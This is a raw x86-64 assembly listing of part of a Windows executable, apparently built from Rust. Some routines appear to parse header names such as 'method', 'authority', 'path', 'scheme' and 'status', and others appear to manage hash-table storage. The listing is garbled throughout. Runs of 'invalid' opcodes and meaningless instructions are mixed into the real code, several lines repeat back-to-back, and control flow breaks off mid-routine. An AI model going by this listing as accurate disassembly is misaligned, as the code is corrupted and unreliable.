movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x39], edx
mov word [rsp + 0x3d], r8w
mov byte [rsp + 0x3f], r9b
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, rdi
call fcn.14000a170
cmp dword [rsp + 0xe0], 1
je 0x140011310
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14001140f
mov rcx, qword [rsp + 0x48]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov dword [rsi + 8], ebx
mov dword [rsi + 8], ebx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 4
jmp 0x140010bd9
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x39], edx
mov word [rsp + 0x3d], r8w
mov byte [rsp + 0x3f], r9b
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, rdi
call fcn.14000a170
cmp dword [rsp + 0xe0], 1
je 0x140011310
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14001140f
mov rcx, qword [rsp + 0x48]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 2
jmp 0x140010bd9
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x39], edx
mov word [rsp + 0x3d], r8w
mov byte [rsp + 0x3f], r9b
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, rdi
call fcn.14000a170
cmp dword [rsp + 0xe0], 1
jne 0x1400113e8
mov rax, qword [rsp + 0x30]
lea rcx, [rsp + 0x48]
mov rdx, rbx
mov r8, rdi
call qword [rax + 0x10]
mov byte [rsi], 7
jmp 0x140010bd5
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
cmp rbx, 3
jne 0x1400113a1
movzx edx, byte [rdi]
movzx ecx, byte [rdi + 1]
add cl, 0xd0
movzx eax, byte [rdi + 2]
add al, 0xd0
lea r8d, [rdx - 0x3a]
cmp r8b, 0xf7
setb r8b
cmp cl, 0xa
setae r9b
cmp al, 0xa
setae r10b
or r10b, r9b
or r10b, r8b
jne 0x1400113a1
invalid
invalid
add dl, 0xd0
movzx edx, dl
imul edx, edx, 0x64
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*4]
or al, 0x89
or al, 0x89
movzx ecx, cl
add ecx, edx
movzx eax, al
add ax, cx
je 0x1400113a1
mov word [rsi], ax
mov byte [rsi + 0x40], 7
mov ebx, 3
jmp 0x14001162e
mov byte [rsi], 8
mov byte [rsi + 0x40], 8
jmp 0x14001162e
mov rdx, qword [rsp + 0x180]
cmp al, 2
jne 0x140011417
mov qword [rsp + 0x120], 0
mov byte [rsp + 0x128], dl
jmp 0x140011434
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 3
jmp 0x14001162e
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14001140f
mov rcx, qword [rsp + 0x48]
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 6
jmp 0x140010bd9
mov byte [rsi], 7
jmp 0x140010bd5
mov r8, qword [rsp + 0x188]
test al, 1
je 0x1400118cc
invalid
movsd dword [rdi], dword [rsi]
add al, 0
invalid
test byte [rbp + 0x48000004], ah
lea ecx, [rsp + 0x120]
lea rcx, [rsp + 0x120]
call fcn.140007d10
invalid
mov rax, qword [rsp + 0x120]
movzx ecx, byte [rsp + 0x128]
mov edx, dword [rsp + 0x129]
movzx r8d, word [rsp + 0x12d]
movzx r9d, byte [rsp + 0x12f]
movups xmm0, xmmword [rsp + 0x130]
mov qword [rsp + 0xa0], rax
mov byte [rsp + 0xa8], cl
mov dword [rsp + 0xa9], edx
mov word [rsp + 0xad], r8w
mov byte [rsp + 0xaf], r9b
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
test r8, r8
je 0x14001183e
xor ecx, ecx
jmp 0x1400114c2
cmp dl, 0x7f
je 0x1400114d0
inc rcx
cmp r8, rcx
je 0x140011846
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x14
or byte [rax - 0x1988e006], al
movzx edx, byte [rax + rcx]
cmp dl, 0x1f
ja 0x1400114b1
cmp dl, 9
je 0x1400114b6
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
mov rax, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x14001102e
lea rcx, [rsp + 0xb8]
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
call qword [rax + 0x10]
jmp 0x14001102e
movzx ecx, byte [rsp + 0x120]
xor eax, eax
mov qword [rsp + 0xa0], rax
mov byte [rsp + 0xa8], cl
movaps xmm0, xmmword [rsp + 0x180]
movups xmmword [rsp + 0xa9], xmm0
mov rcx, qword [rsp + 0x18f]
mov qword [rsp + 0xb8], rcx
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x1400115ba
xor ecx, ecx
jmp 0x140011567
cmp dl, 0x7f
je 0x140011575
inc rcx
cmp rbx, rcx
je 0x1400115bf
movzx edx, byte [rdi + rcx]
cmp dl, 0x1f
ja 0x14001155a
cmp dl, 9
je 0x14001155f
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
test rax, rax
je 0x14001159c
lea rcx, [rsp + 0xb8]
mov rdx, qword [rsp + 0xa8]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb0
add byte [rax], al
add bh, bh
push rax
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb0
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov rax, qword [rsp + 0x80]
lea rcx, [rsp + 0x98]
mov rdx, rdi
mov r8, rbx
call qword [rax + 0x10]
jmp 0x140010bd9
xor r8d, r8d
jmp 0x1400115c2
mov r8, rbx
lea rcx, [rsp + 0xe0]
mov rdx, rdi
call fcn.140007d10
mov byte [rsp + 0x100], 0
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x40], xmm3
movaps xmmword [rsp + 0x30], xmm2
mov qword [rsi + 0x40], rax
movups xmmword [rsi + 0x30], xmm1
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x10], xmm3
pop rsi
adc byte [rdi], cl
adc dword [rsi], edx
pop rsi
adc byte [rdi], cl
adc dword [rsi], edx
lea rcx, [rsp + 0x98]
mov rdx, rdi
mov r8, rbx
call qword [r14 + 0x10]
jmp 0x140010bd9
cmp byte [rdi + 1], 0x70
jne case.0x140010f36.6
cmp byte [rdi + 2], 0x72
jne case.0x140010f36.6
cmp byte [rdi + 3], 0x6f
jne case.0x140010f36.6
cmp byte [rdi + 4], 0x74
jne case.0x140010f36.6
cmp byte [rdi + 5], 0x6f
jne case.0x140010f36.6
cmp byte [rdi + 6], 0x63
jne case.0x140010f36.6
cmp byte [rdi + 7], 0x6f
jne case.0x140010f36.6
cmp byte [rdi + 8], 0x6c
jne case.0x140010f36.6
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x30]
call fcn.140022b70
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140011a1d
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rsi + 8], xmm0
mov rcx, qword [rsp + 0x130]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 6
jmp 0x1400119f5
movzx eax, byte [rdi + 1]
cmp eax, 0x73
je 0x1400118e9
mov dh, 0x47
add dword [rbx - 0x7bf08c08], eax
out 1, al
add byte [rax], al
cmp eax, 0x6d
jne case.0x140010f36.6
invalid
invalid
add al, byte [rax]
invalid
test dword [rdi - 0x7ffffffe], edi
jg 0x140011711
cmp byte [rdi + 2], 0x65
jne case.0x140010f36.6
jne case.0x140010f36.6
test dword [rbp - 0x7ffffffe], esi
jg 0x14001171c
cmp byte [rdi + 3], 0x74
jne case.0x140010f36.6
je 0x14001172a
test dword [rbx - 0x7ffffffe], ebp
jg 0x140011727
stosd dword [rdi], eax
add al, byte [rax]
add byte [rax + 0xf68047f], al
test dword [rcx - 0x7ffffffe], esp
jg 0x140011732
cmp byte [rdi + 4], 0x68
jne case.0x140010f36.6
push 0x2a1850f
add byte [rax], al
add al, byte [rax]
add byte [rax + 0xf6f057f], al
test dword [rdi - 0x7ffffffe], edx
jg 0x14001173d
cmp byte [rdi + 5], 0x6f
outsd dx, dword [rsi]
jne case.0x140010f36.6
add byte [rax], al
cmp byte [rdi + 6], 0x64
jne case.0x140010f36.6
jne case.0x140010f36.6
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0x30]
mov rbx, rdx
mov r14, r8
call fcn.1400264b0
cmp byte [rsp + 0x30], 0xb
je 0x140011027
invalid
invalid
invalid
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 3
jmp 0x14001194e
cmp byte [rdi + 1], 0x61
jne case.0x140010f36.6
cmp byte [rdi + 2], 0x75
jne case.0x140010f36.6
cmp byte [rdi + 3], 0x74
jne case.0x140010f36.6
cmp byte [rdi + 4], 0x68
jne case.0x140010f36.6
test dword [rax], esp
add al, byte [rax]
invalid
test dword [rax], esp
add al, byte [rax]
add byte [rax + 0xf6f057f], al
test dword [rsi], edx
add al, byte [rax]
add byte [rax + 0xf72067f], al
jg 0x1400117be
jb 0x1400117c9
cmp byte [rdi + 5], 0x6f
jne case.0x140010f36.6
cmp byte [rdi + 6], 0x72
jne case.0x140010f36.6
jg 0x1400117be
jb 0x1400117c9
test dword [rdx + rax], ecx
add byte [rax], al
add byte [rax + 0xf69077f], al
test dword [rdx], eax
add al, byte [rax]
add byte [rax + 0xf74087f], al
test eax, edi
add dword [rax], eax
add byte [rax + 0xf79097f], al
test esi, ebp
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xc0], al
cmp byte [rdi + 7], 0x69
jne case.0x140010f36.6
cmp byte [rdi + 8], 0x74
jne case.0x140010f36.6
cmp byte [rdi + 9], 0x79
jne case.0x140010f36.6
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x30]
and al, 0x30
and al, 0x30
call fcn.140015ac0
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140011a1d
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rsi + 8], xmm0
add byte [rdi], cl
adc dword [rsi + 8], eax
mov rcx, qword [rsp + 0x130]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 2
jmp 0x1400119f5
mov rbx, r8
mov ebx, eax
xor r8d, r8d
jmp 0x140011849
mov rbx, r8
lea rcx, [rsp + 0x118]
add byte [rax], al
mov rdi, rax
mov rdx, rax
call fcn.140007d10
mov rdx, rdi
cli
cli
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x60], xmm1
add byte [rdi], cl
sub dword [rsp + 0x60], ecx
movaps xmmword [rsp + 0x50], xmm0
mov eax, dword [rsp + 0x13c]
test byte [rsp + rdi], ah
add dword [rax], eax
add byte [rcx - 0x7b74bbba], cl
and al, 0x39
add dword [rax], eax
invalid
test byte [rsp + rdi], ah
add dword [rax], eax
add byte [rcx - 0x7b74bbba], cl
and al, 0x39
add dword [rax], eax
add byte [rcx + 0x280f4146], cl
mov dword [rsi + 0x41], eax
movaps xmm0, xmmword [rsp + 0xa0]
invalid
mov dword [rsi + 0x41], eax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], cl
sub byte [rsp + 0xb0], cl
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
xor byte [rdi], cl
sub byte [rsp + 0x50], dl
xor byte [rdi], cl
sub byte [rsp + 0x50], dl
movaps xmm3, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 0
mov r8, rbx
jmp 0x1400119e2
xor eax, eax
cmp r8, rax
je 0x140011427
movzx ecx, byte [rdx + rax]
inc rax
cmp byte [rcx + rbx], 0
jne 0x1400118ce
jmp 0x140011027
movzx eax, byte [rdi + 2]
cmp eax, 0x63
je 0x140011959
cmp eax, 0x74
jne case.0x140010f36.6
cmp byte [rdi + 3], 0x61
jne case.0x140010f36.6
cmp byte [rdi + 4], 0x74
jne case.0x140010f36.6
cmp byte [rdi + 5], 0x75
jne case.0x140010f36.6
jne 0x140011923
test dword [rdx - 0x80000000], esi
jg 0x140011922
cmp byte [rdi + 6], 0x73
jne case.0x140010f36.6
jae 0x14001192d
test dword [rax + 0x48000000], ebp
mov ecx, dword [rsp + 0xc8]
add byte [rax - 0x75], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd0]
mov rbx, rcx
mov r14, rdx
call fcn.140026f00
test ax, ax
je 0x140011027
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
retf
mov word [rsi], ax
mov byte [rsi + 0x40], 7
mov rdx, rbx
mov r8, r14
jmp 0x1400119e2
cmp byte [rdi + 3], 0x68
jne case.0x140010f36.6
insb byte [rdi], dx
insb byte [rdi], dx
cmp byte [rdi + 4], 0x65
jne case.0x140010f36.6
cmp byte [rdi + 5], 0x6d
jne case.0x140010f36.6
cmp byte [rdi + 6], 0x65
jne case.0x140010f36.6
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x30]
call fcn.140015ac0
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140011a1d
movups xmm0, xmmword [rsp + 0x120]
adc byte [rsp + 0x120], al
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 8], eax
movups xmmword [rsi + 8], xmm0
mov rcx, qword [rsp + 0x130]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 4
jmp 0x1400119f5
invalid
sub al, dh
invalid
mov byte [rsi], 9
mov byte [rsi + 0x40], 8
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xc0]
lea rcx, [rsp + 0xd8]
call qword [rax + 0x10]
rol byte [rax], 0
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
mov word [rax + rdi*2], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz*2], ah
lea rcx, [rsp + 0x178]
mov rax, qword [rsp + 0x160]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
xchg edx, eax
invalid
invalid
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x70
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
xchg edx, eax
invalid
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
jmp 0x140011051
lea rcx, str.overflow
lea r8, [0x14016acd0]
mov edx, 8
call fcn.140122a20
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14016acb0]
mov edx, 0x36
call fcn.140122660
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
movzx eax, byte [rdx + 0x40]
lea r8d, [rax - 2]
dec rax
xor r9d, r9d
cmp r8b, 6
cmovb r9, rax
mov rsi, rcx
lea rax, [0x140191ac4]
movsxd rcx, dword [rax + r9*4]
add rcx, rax
jmp rcx
mov r10, qword [rdx]
test r10, r10
je 0x140011b8c
lea rax, [rdx + 0x18]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x48]
mov rdi, rdx
mov rdx, rax
call qword [r10]
mov rdx, rdi
mov rdi, qword [rsp + 0x48]
movzx ebx, byte [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x51]
push rcx
push rcx
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x3f], rax
jmp 0x140011b92
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 5
add eax, 0xcfe9
invalid
add eax, 0xcfe9
add byte [rdi], cl
movzx edi, byte [rdx]
movzx edi, byte [rdx]
cmp edi, 9
jae 0x140011bd9
mov byte [rsi], dil
mov ecx, dword [rsp + 0x28]
mov r8d, dword [rsp + 0x2b]
mov dword [rsi + 1], ecx
add qword [rcx + r9*4 + 0x46], r8
add al, 0x48
mov dword [rsi + 8], eax
add qword [rcx + r9*4 + 0x46], r8
add al, 0x48
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rdx
mov al, 3
jmp 0x140011bcc
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 4
jmp 0x140011bcc
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 2
jmp 0x140011bcc
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 6
jmp 0x140011bcc
movzx eax, word [rdx]
mov word [rsi], ax
mov al, 7
jmp 0x140011bcc
movzx ebx, byte [rdx + 8]
xor edi, edi
lea rax, [rdx + 0x38]
mov r10, qword [rdx + 0x20]
mov r8, qword [rdx + 0x28]
mov r9, qword [rdx + 0x30]
lea rcx, [rsi + 0x20]
mov r14, rdx
mov rdx, rax
call qword [r10]
movzx eax, byte [r14 + 0x40]
mov qword [rsi], rdi
mov byte [rsi + 8], bl
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 9], xmm0
mov rcx, qword [rsp + 0x3f]
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
jne 0x140011bf6
mov eax, dword [rdx + 1]
mov ecx, dword [rdx + 4]
mov dword [rsp + 0x2b], ecx
mov dword [rsp + 0x28], eax
mov rax, qword [rdx + 8]
movzx edx, byte [rdx + 0x10]
jmp 0x140011b09
mov rcx, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
call fcn.140070dd0
jmp 0x140011b09
add byte [rax], al
add byte [rax], al
add byte [rbp + 1], cl
add eax, ecx
and r8, rcx
add r8, r9
add eax, ecx
and r8, rcx
movdqu xmm0, xmmword [rax + r8]
pmovmskb edx, xmm0
add r9, 0x10
add ecx, 0x10
add byte [rsi + 0xf], ah
xlatb
ror byte [rcx - 0x7d], 1
add ecx, 0x10
test edx, edx
je 0x140014ec0
tzcnt edx, edx
add ecx, 0x10
test edx, edx
je 0x140014ec0
tzcnt edx, edx
add rdx, r8
and rdx, rcx
movzx r8d, byte [rax + rdx]
test r8b, r8b
js 0x140014efd
ret 0x2148
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
tzcnt edx, edx
outsd dx, dword [rsi]
add byte [rsi + 0xf], ah
xlatb
sal bl, 1
bsf edx, edx
movzx r8d, byte [rax + rdx]
movzx eax, byte [rax + rdx]
mov ebp, dword [r14 + 0x10]
mov r14, qword [rbx + 0x30]
mov r15, qword [rbx + 0x10]
mov r13, qword [rbx + 0x28]
test r13, r13
sete r9b
and r8b, 1
test r8b, r9b
jne 0x140014fcd
lea r9, [rax + rdx]
movzx r8d, r8b
sub r13, r8
mov r8, r14
mov qword [rbx + 0x28], r13
mov r10, r12
shr r10, 0x39
lea r11, [rdx - 0x10]
and r11, rcx
mov byte [r9], r10b
mov byte [rax + r11 + 0x10], r10b
push rsp
sbb byte [rax], dl
push rsp
sbb byte [rax], dl
inc r8
mov qword [rbx + 0x30], r8
shl rdx, 3
neg rdx
mov qword [rax + rdx - 8], r14
mov rax, qword [rbx]
cmp r15, rax
jne 0x140015118
mov dword [rsp + 0x24], ebp
mov ebp, esi
add r13, r8
movabs rsi, 0x7ffffffffffffff
cmp r13, rsi
cmovae r13, rsi
mov rax, r13
sub rax, r15
mov rcx, r15
cmp rax, 1
jbe 0x140015083
add rax, r15
jb 0x14001507f
mov r8, r13
shl r8, 4
test r15, r15
je 0x14001505d
mov rax, qword [rbx + 8]
mov rcx, r15
shl rcx, 4
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rcx
mov eax, 8
jmp 0x14001505f
mov rdx, qword [rbx + 8]
lea rcx, [rbx + 0x18]
mov r8, r15
call fcn.140122d90
mov rax, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x20]
mov r8, rcx
and r8, r12
movdqu xmm0, xmmword [rax + r8]
pmovmskb edx, xmm0
test edx, edx
jne 0x140015018
mov r9d, 0x10
nop
add r8, r9
and r8, rcx
movdqu xmm0, xmmword [rax + r8]
pmovmskb edx, xmm0
add r9, 0x10
test edx, edx
je 0x140015000
tzcnt edx, edx
add rdx, r8
and rdx, rcx
movzx r8d, byte [rax + rdx]
test r8b, r8b
js 0x14001503d
movdqa xmm0, xmmword [rax]
movq mm0, qword [rax]
pmovmskb edx, xmm0
tzcnt edx, edx
xlatb
sal bl, 1
bsf edx, edx
movzx r8d, byte [rax + rdx]
lea r9, [rax + rdx]
and r8b, 1
movzx r8d, r8b
mov r15, qword [rbx + 0x10]
mov edi, dword [rbx + 0x10]
mov edi, dword [rbx + 0x10]
mov r13, qword [rbx + 0x28]
sub r13, r8
mov r8, qword [rbx + 0x30]
jmp 0x140014f2f
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea r9, [rsp + 0x40]
mov edx, 8
call fcn.14011c5a0
cmp dword [rsp + 0x28], 1
jne 0x1400150fc
mov rcx, qword [rbx + 0x10]
cmp r15, rcx
jne 0x1400150c6
cmp r15, 0xffffffffffffffff
je 0x140015187
xor edx, edx
cmp r15, rsi
setb dl
lea r13, [r15 + 1]
mov r8, r13
shl r8, 4
shl eax, 4
shl eax, 4
shl edx, 3
test r15, r15
je 0x1400150ce
mov rax, qword [rbx + 8]
shl r15, 4
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r15
mov eax, 8
jmp 0x1400150d0
mov esi, ebp
mov ebp, dword [rsp + 0x24]
jmp 0x140015111
xor eax, eax
mov esi, ebp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.14011c5a0
cmp dword [rsp + 0x28], 1
mov ebp, dword [rsp + 0x24]
je 0x14001518e
mov rax, qword [rsp + 0x30]
jmp 0x140015107
mov rax, qword [rsp + 0x30]
mov esi, ebp
mov ebp, dword [rsp + 0x24]
mov qword [rbx + 8], rax
mov qword [rbx], r13
mov r15, r13
mov rax, r15
mov r15, qword [rbx + 0x10]
cmp r15, rax
jne 0x140015125
mov rcx, rbx
call fcn.14001c6c0
mov rax, qword [rbx + 8]
mov rcx, r15
shl rcx, 4
mov qword [rax + rcx], r12
mov dword [rax + rcx + 8], ebp
mov dword [rax + rcx + 0xc], edi
inc r15
mov qword [rbx + 0x10], r15
cmp r14, r15
jae 0x140015175
mov eax, edi
mov edx, esi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
adc byte [rax], al
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcoreentry.rs
mov rcx, r14
int1
call 0xc94d518f
int1
mov rdx, r15
call fcn.140122580
xor ecx, ecx
call fcn.140122170
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.140122170
int3
ja case.0x1400151c1.4
lea r8, [0x140191ae0]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
add rsp, 0x20
pop rsi
ret
mov eax, 0x10
movzx r8d, byte [rcx + rax + 0x40]
lea r9d, [r8 - 2]
dec r8
xor edx, edx
cmp r9b, 6
cmovb rdx, r8
cmp rdx, 5
cmp edx, 5
cmp edx, 5
ja case.default.0x1400151fc
add rcx, rax
lea rax, [0x140191af8]
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x10]
add rcx, 0x18
add rsp, 0x20
pop rsi
jmp rax
mov r9, qword [rcx]
test r9, r9
je 0x14001523a
lea rax, [rcx + 0x18]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rsi, rcx
mov rcx, rax
call qword [r9 + 0x10]
mov rcx, rsi
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x30]
add rcx, 0x38
add rsp, 0x20
pop rsi
jmp rax
cmp byte [rcx], 0xa
jb case.default.0x1400151fc
cmp qword [rcx + 0x10], 0
je case.default.0x1400151fc
mov r8, qword [rcx + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and al, 0x30
sub byte [rax - 0x77], cl
call 0x189d98191
mov ebp, ebx
clc
int1
invalid
invalid
add byte [rbp + 1], cl
std
add ebp, edi
je 0x140015884
add byte [rax], al
add byte [rcx - 0x73], cl
and al, 0xff
neg esp
add byte [rax - 0x75], cl
push rsi
or byte [rax + 0x39], cl
ror dword [rdi], cl
jae 0x140015a6c
cmp rcx, rdx
jae 0x140015a60
invalid
invalid
cmp ecx, edx
add byte [rax - 0x75], cl
mov edx, dword [rsi]
invalid
xlatb
adc al, 0x39
add al, 0xa
cmp ecx, edx
add byte [rax - 0x75], cl
invalid
mov edx, dword [rsi]
and al, 0x27
and al, 0x28
and al, 0x40
xor byte [rax - 0x77], cl
and al, 0x48
mov dword [rsp + 0x50], eax
adc esp, dword [rbp + 0x14]
add byte [rax - 0x77], cl
and al, 0x58
and al, 0x38
and al, 0x20
add dword [rcx + rsi + 0xf], esi
adc byte [rsp + 0x28], al
movups xmmword [r14 + 8], xmm0
adc dword [rsi + 8], eax
mov qword [r14], 0
mov rax, qword [rsi]
invalid
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
invalid
invalid
mov eax, dword [rax + 0x10]
add rsi, 0x18
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
add rsp, 0x38
